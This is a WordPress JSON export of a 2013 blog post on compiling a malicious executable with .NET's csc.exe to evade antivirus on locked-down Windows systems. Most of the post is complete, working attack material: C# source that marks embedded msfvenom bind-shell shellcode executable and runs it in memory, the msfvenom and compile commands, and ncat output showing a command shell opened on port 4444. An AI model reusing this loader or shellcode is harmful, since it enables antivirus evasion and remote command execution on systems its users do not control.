{"id":911,"date":"2013-01-25T13:29:41","date_gmt":"2013-01-25T13:29:41","guid":{"rendered":"https:\/\/www.phillips321.co.uk:443\/?p=911"},"modified":"2013-02-13T17:04:07","modified_gmt":"2013-02-13T17:04:07","slug":"use-net-csc-exe-to-create-a-malicious-dllexe-on-locked-down-systems","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2013\/01\/25\/use-net-csc-exe-to-create-a-malicious-dllexe-on-locked-down-systems\/","title":{"rendered":"Use .NET csc.exe to create a malicious EXE on locked down systems"},"content":{"rendered":"<p>First off, credit for this work goes to <a href=\"https:\/\/twitter.com\/kiqueNissim\" target=\"_blank\">n3k @kiqueNissim<\/a> and <a href=\"https:\/\/twitter.com\/lintuxt\" target=\"_blank\">X_Typhon @lintuxt<\/a> who produced <a href=\"http:\/\/movediedi.blogspot.co.uk\/2013\/01\/undetectable-c-backdoor.html\" target=\"_blank\">an excellent paper here<\/a>.<\/p>\n<p>These notes are not to take anything away from the two mentioned above but are purely for my own reference (I find writing things up helps me to remember it), I strongly suggest reading the white paper as it goes into much more detail than I will here.<\/p>\n<p>So on a locked-down system you might find yourself with no ability to import malicious code, or for that matter execute it due to Anti-Vitus protection. So what about just writing the code up in notepad and then compiling it using csc.exe. Note: csc.exe comes packaged with each of the .NET framework versions.<br \/>\n<a href=\"https:\/\/www.phillips321.co.uk:443\/wp-content\/uploads\/2013\/01\/csc.png\"><img loading=\"lazy\" src=\"https:\/\/www.phillips321.co.uk:443\/wp-content\/uploads\/2013\/01\/csc.png\" alt=\"csc\" width=\"650\" height=\"279\" class=\"aligncenter size-full wp-image-924\" srcset=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/01\/csc.png 650w, https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/01\/csc-300x128.png 300w\" sizes=\"(max-width: 650px) 100vw, 650px\" \/><\/a><br \/>\nWe can use this to our advantage as we can create C# code that contains our optcode. As the optocde is stored as text but read directly into memory it never touches disk as assembly so doesn&#8217;t get picked up by AV. The C# code then allows the code to be executable and calls it directly.<\/p>\n<p>The same code below is taken from the white paper but I have replaced the shellcode with a simple bind_tcp.<\/p>\n<pre>\n\n<div class=\"codecolorer-container csharp vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/>22<br \/>23<br \/>24<br \/>25<br \/>26<br \/>27<br \/>28<br \/>29<br \/>30<br \/>31<br \/>32<br \/>33<br \/>34<br \/>35<br \/>36<br \/>37<br \/>38<br \/>39<br \/>40<br \/>41<br \/>42<br \/>43<br \/>44<br \/>45<br \/>46<br \/>47<br \/>48<br \/>49<br \/>50<br \/>51<br \/>52<br \/>53<br \/>54<br \/>55<br \/>56<br \/>57<br \/>58<br \/>59<br \/>60<br \/>61<br \/>62<br \/>63<br \/><\/div><\/td><td><div class=\"csharp codecolorer\"><span class=\"kw1\">using<\/span> <span class=\"co3\">System<\/span><span class=\"sy0\">;<\/span><br \/>\n<span class=\"kw1\">using<\/span> <span class=\"co3\">System.Reflection<\/span><span class=\"sy0\">;<\/span><br \/>\n<span class=\"kw1\">using<\/span> <span class=\"co3\">System.Runtime.InteropServices<\/span><span class=\"sy0\">;<\/span><br \/>\n<span class=\"kw1\">namespace<\/span> ExecASMHardcoded<br \/>\n<span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw4\">class<\/span> Program<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#91;<\/span>DllImport<span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;kernel32.dll&quot;<\/span>, SetLastError <span class=\"sy0\">=<\/span> <span class=\"kw1\">true<\/span><span class=\"br0\">&#41;<\/span><span class=\"br0\">&#93;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">static<\/span> <span class=\"kw1\">extern<\/span> <span class=\"kw4\">bool<\/span> VirtualProtect<span class=\"br0\">&#40;<\/span>IntPtr lpAddress, <span class=\"kw4\">uint<\/span> dwSize, <span class=\"kw4\">uint<\/span> flNewProtect, <span class=\"kw1\">out<\/span> <span class=\"kw4\">uint<\/span> lpflOldProtect<span class=\"br0\">&#41;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">public<\/span> <span class=\"kw4\">delegate<\/span> <span class=\"kw4\">uint<\/span> Ret1ArgDelegate<span class=\"br0\">&#40;<\/span><span class=\"kw4\">uint<\/span> address<span class=\"br0\">&#41;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">static<\/span> <span class=\"kw4\">uint<\/span> PlaceHolder1<span class=\"br0\">&#40;<\/span><span class=\"kw4\">uint<\/span> arg1<span class=\"br0\">&#41;<\/span> <span class=\"br0\">&#123;<\/span> <span class=\"kw1\">return<\/span> <span class=\"nu0\">0<\/span><span class=\"sy0\">;<\/span> <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">public<\/span> <span class=\"kw1\">static<\/span> <span class=\"kw4\">byte<\/span><span class=\"br0\">&#91;<\/span><span class=\"br0\">&#93;<\/span> asmBytes <span class=\"sy0\">=<\/span> <a href=\"http:\/\/www.google.com\/search?q=new+msdn.microsoft.com\"><span class=\"kw3\">new<\/span><\/a> <span class=\"kw4\">byte<\/span><span class=\"br0\">&#91;<\/span><span class=\"br0\">&#93;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"co1\">\/\/msfvenom -p windows\/shell_bind_tcp -e none | sed -e \u2018s\/&quot;\/\/ig\u2019 | sed -e \u2018s\/+\/\/ig\u2019 | sed -e \u2018s\/\\\\x\/,0x\/ig\u2019<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x89,0xc7,0x31,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xdb,0x53,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xc2,0xdb,0x37,0x67,0xff,0xd5,0x53,0x57,0x68,0xb7,0xe9,0x38,0xff,0xff,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xd5,0x53,0x53,0x57,0x68,0x74,0xec,0x3b,0xe1,0xff,0xd5,0x57,0x89,0xc7,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x68,0x63,0x6d,0x64,0x00,0x89,0xe3,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x57,0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x24,0x3c,0x01,0x01,0x8d,0x44,0x24,0x10,0xc6,0x00,0x44,0x54,0x50,0x56,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x56,0x56,0x46,0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xff,0xd5,0x89,0xe0,0x4e,0x56,0x46,0xff,0x30,0x68,0x08,0x87,0x1d,0x60,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x6a,0x00,0x53,0xff,0xd5,<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">unsafe<\/span> <span class=\"kw1\">static<\/span> <span class=\"kw4\">void<\/span> Main<span class=\"br0\">&#40;<\/span><span class=\"kw4\">string<\/span><span class=\"br0\">&#91;<\/span><span class=\"br0\">&#93;<\/span> args<span class=\"br0\">&#41;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw1\">fixed<\/span> <span class=\"br0\">&#40;<\/span><span class=\"kw4\">byte<\/span><span class=\"sy0\">*<\/span> startAddress <span class=\"sy0\">=<\/span> <span class=\"sy0\">&amp;<\/span>asmBytes<span class=\"br0\">&#91;<\/span><span class=\"nu0\">0<\/span><span class=\"br0\">&#93;<\/span><span class=\"br0\">&#41;<\/span> <span class=\"co1\">\/\/ Take the address of our x86 code<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#123;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"co1\">\/\/ Get the FieldInfo for &quot;_methodPtr&quot;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Type delType <span class=\"sy0\">=<\/span> <a href=\"http:\/\/www.google.com\/search?q=typeof+msdn.microsoft.com\"><span class=\"kw3\">typeof<\/span><\/a><span class=\"br0\">&#40;<\/span><span class=\"kw4\">Delegate<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FieldInfo _methodPtr <span class=\"sy0\">=<\/span> delType<span class=\"sy0\">.<\/span><span class=\"me1\">GetField<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;_methodPtr&quot;<\/span>, BindingFlags<span class=\"sy0\">.<\/span><span class=\"me1\">NonPublic<\/span> <span class=\"sy0\">|<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BindingFlags<span class=\"sy0\">.<\/span><span class=\"me1\">Instance<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"co1\">\/\/ Set our delegate to our x86 code<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Ret1ArgDelegate del <span class=\"sy0\">=<\/span> <a href=\"http:\/\/www.google.com\/search?q=new+msdn.microsoft.com\"><span class=\"kw3\">new<\/span><\/a> Ret1ArgDelegate<span class=\"br0\">&#40;<\/span>PlaceHolder1<span class=\"br0\">&#41;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _methodPtr<span class=\"sy0\">.<\/span><span class=\"me1\">SetValue<\/span><span class=\"br0\">&#40;<\/span>del, <span class=\"br0\">&#40;<\/span>IntPtr<span class=\"br0\">&#41;<\/span> startAddress<span class=\"br0\">&#41;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"co1\">\/\/Disable protection<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw4\">uint<\/span> outOldProtection<span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; VirtualProtect<span class=\"br0\">&#40;<\/span><span class=\"br0\">&#40;<\/span>IntPtr<span class=\"br0\">&#41;<\/span> startAddress, <span class=\"br0\">&#40;<\/span><span class=\"kw4\">uint<\/span><span class=\"br0\">&#41;<\/span> asmBytes<span class=\"sy0\">.<\/span><span class=\"me1\">Length<\/span>, 0x40, <span class=\"kw1\">out<\/span> outOldProtection<span class=\"br0\">&#41;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"co1\">\/\/ Enjoy<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"kw4\">uint<\/span> n <span class=\"sy0\">=<\/span> <span class=\"br0\">&#40;<\/span><span class=\"kw4\">uint<\/span><span class=\"br0\">&#41;<\/span>0x00000001<span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n <span class=\"sy0\">=<\/span> del<span class=\"br0\">&#40;<\/span>n<span class=\"br0\">&#41;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console<span class=\"sy0\">.<\/span><span class=\"me1\">WriteLine<\/span><span class=\"br0\">&#40;<\/span><span class=\"st0\">&quot;{0:x}&quot;<\/span>, n<span class=\"br0\">&#41;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console<span class=\"sy0\">.<\/span><span class=\"me1\">ReadKey<\/span><span class=\"br0\">&#40;<\/span><span class=\"br0\">&#41;<\/span><span class=\"sy0\">;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n&nbsp; &nbsp; &nbsp; &nbsp; <span class=\"br0\">&#125;<\/span><br \/>\n<span class=\"br0\">&#125;<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n\n<\/pre>\n<p>Next use the csc.exe to compile the code:<\/p>\n<div class=\"codecolorer-container text vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/><\/div><\/td><td><div class=\"text codecolorer\">C:\\Documents and Settings\\Administrator\\Desktop&gt;C:\\WINDOWS\\Microsoft.NET\\Framewo<br \/>\nrk\\v4.0.30319\\csc.exe \/unsafe shell_bind.cs<br \/>\nMicrosoft (R) Visual C# 2010 Compiler version 4.0.30319.1<br \/>\nCopyright (C) Microsoft Corporation. All rights reserved.<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>This outputs shell_bind.exe, when this is run you then get a your bind shell:<\/p>\n<div class=\"codecolorer-container text vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/>22<br \/><\/div><\/td><td><div class=\"text codecolorer\">C:\\Documents and Settings\\Administrator\\Desktop&gt;netstat -anp tcp<br \/>\n<br \/>\nActive Connections<br \/>\n<br \/>\n&nbsp; Proto &nbsp;Local Address &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Foreign Address &nbsp; &nbsp; &nbsp; &nbsp;State<br \/>\n&nbsp; TCP &nbsp; &nbsp;0.0.0.0:135 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;0.0.0.0:445 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;0.0.0.0:4444 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;127.0.0.1:1029 &nbsp; &nbsp; &nbsp; &nbsp; 0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;127.0.0.1:4162 &nbsp; &nbsp; &nbsp; &nbsp; 127.0.0.1:50505 &nbsp; &nbsp; &nbsp; &nbsp;SYN_SENT<br \/>\n&nbsp; TCP &nbsp; &nbsp;127.0.0.1:4242 &nbsp; &nbsp; &nbsp; &nbsp; 0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;127.0.0.1:5152 &nbsp; &nbsp; &nbsp; &nbsp; 0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;127.0.0.1:7337 &nbsp; &nbsp; &nbsp; &nbsp; 0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n&nbsp; TCP &nbsp; &nbsp;192.168.0.38:139 &nbsp; &nbsp; &nbsp; 0.0.0.0:0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTENING<br \/>\n<br \/>\nC:\\Documents and Settings\\Administrator\\Desktop&gt;ncat -vv 127.0.0.1 4444<br \/>\nNcat: Version 5.51 ( http:\/\/nmap.org\/ncat )<br \/>\nNcat: Connected to 127.0.0.1:4444.<br \/>\nMicrosoft Windows XP [Version 5.1.2600]<br \/>\n(C) Copyright 1985-2001 Microsoft Corp.<br \/>\n<br \/>\nC:\\Documents and Settings\\Administrator\\Desktop&gt;<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"<p>First off, credit for this work goes to n3k @kiqueNissim and X_Typhon @lintuxt who produced an excellent paper here. These notes are not to take anything away from the two mentioned above but are purely for my own reference (I find writing things up helps me to remember it), I strongly suggest reading the white [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":924,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[345,344,346,114,347,349,348],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/911"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=911"}],"version-history":[{"count":20,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/911\/revisions"}],"predecessor-version":[{"id":986,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/911\/revisions\/986"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media\/924"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=911"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=911"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=911"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}